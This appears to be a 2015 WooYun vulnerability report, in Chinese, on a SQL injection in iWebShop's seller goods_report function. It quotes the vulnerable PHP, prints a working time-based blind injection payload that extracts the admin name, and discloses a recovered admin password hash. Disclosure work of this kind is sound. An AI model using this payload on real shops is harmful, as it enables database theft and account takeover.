当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-093442

漏洞标题:Iwebshop最新版注入一枚

相关厂商:jooyea.net

漏洞作者: 路人甲

提交时间:2015-04-09 12:39

修复时间:2015-07-13 12:40

公开时间:2015-07-13 12:40

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-09: 细节已通知厂商并且等待厂商处理中
2015-04-14: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-06-08: 细节向核心白帽子及相关领域专家公开
2015-06-18: 细节向普通白帽子公开
2015-06-28: 细节向实习白帽子公开
2015-07-13: 细节向公众公开

简要描述:

Iwebshop最新版注入一枚

详细说明:

看到wooyun上有人提了几个iweshop(2014-11-18更新)的漏洞( WooYun: iWebShop开源电子商务系统SQL注入漏洞 ),去官网看了看,在2014-12-16 已更新到了 iwebshop2.9.14121000,下下来研究研究,希望不要重复。
注入一枚:POST /index.php?controller=seller&action=goods_report POST参数中的search作为一个数组传入,search的KEY and VALUE 都过滤不完全,注入成功,文件在/controllers/seller.php的goods_report()方法中
看看代码/controllers/seller.php

//商品列表
public function goods_report()
{
$seller_id = $this->seller['seller_id'];
$condition = IReq::get('search');
$where = 'go.seller_id='.$seller_id;
if (isset($condition)){
foreach($condition as $key=>$item){
if($item !== ""){
if($key == "go.store_nums"){
$where .= ' and '.$key.$item;
}else
{
$where .= ' and '.$key.'"'.$item.'"';
}
}
}
}
$goodHandle = new IQuery('goods as go');
$goodHandle->order = "go.id desc";
$goodHandle->fields = "go.*";
$goodHandle->where = $where;
$goodList = $goodHandle->find();


condition是这样获得的$condition = IReq::get('search');,去看看IReq::get
/lib/core/util/req_class.php

public static function get($key, $type=false)
{
//默认方式
if($type==false)
{
if(isset($_GET[$key])) return $_GET[$key];
else if(isset($_POST[$key])) return $_POST[$key];
else return null;
}
//get方式
else if($type=='get' && isset($_GET[$key]))
return $_GET[$key];
//post方式
else if($type=='post' && isset($_POST[$key]))
return $_POST[$key];
//无匹配
else
return null;
}


没有经过任何处理,直接把GET、POST的内容传入了
再去看看$goodHandle->find()

public function find()
{
if( is_int($this->page) )
{
$sql="select $this->distinct $this->fields from $this->table $this->join $this->where $this->group $this->having $this->order";
$pagesize = isset($this->pagesize)?intval($this->pagesize):20;
$pagelength = isset($this->pagelength)?intval($this->pagelength):10;
$this->paging = new IPaging($sql,$pagesize,$pagelength);
return $this->paging->getPage($this->page);
}
else
{
$sql="select $this->distinct $this->fields from $this->table $this->join $this->where $this->group $this->having $this->order $this->limit";
return $this->dbo->query($sql);
}
}


同样没有作防注处理,注入成功。
测试方法:申请开店后,登录,然后发送下面的post包即可。
Payload:POST提交

search[1%3d-1/**/or(select/**/if(ord(mid((select/**/admin_name/**/from/**/iwebshop_admin/**/limit/**/0,1),1,1))%3d98,sleep(1),0))#]=test


因为是time-based blind 注入,猜测管理员用户名的第一个字母时,若错误,延迟2s左右,如下图

猜测失败副本.jpg


若正确,延迟5s左右(和数据库中的记录有关,测试时可减少)如下图

猜测成功副本.jpg


按上面的方法依次做下去(burp intruder或者自己写个脚本跑),可测试管理员用户名为:admin,密码为: f6fdffe48c908deb0f4c3bd36c032e72

漏洞证明:

见 详细说明

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-07-13 12:40

厂商回复:

漏洞Rank:8 (WooYun评价)

最新状态:

暂无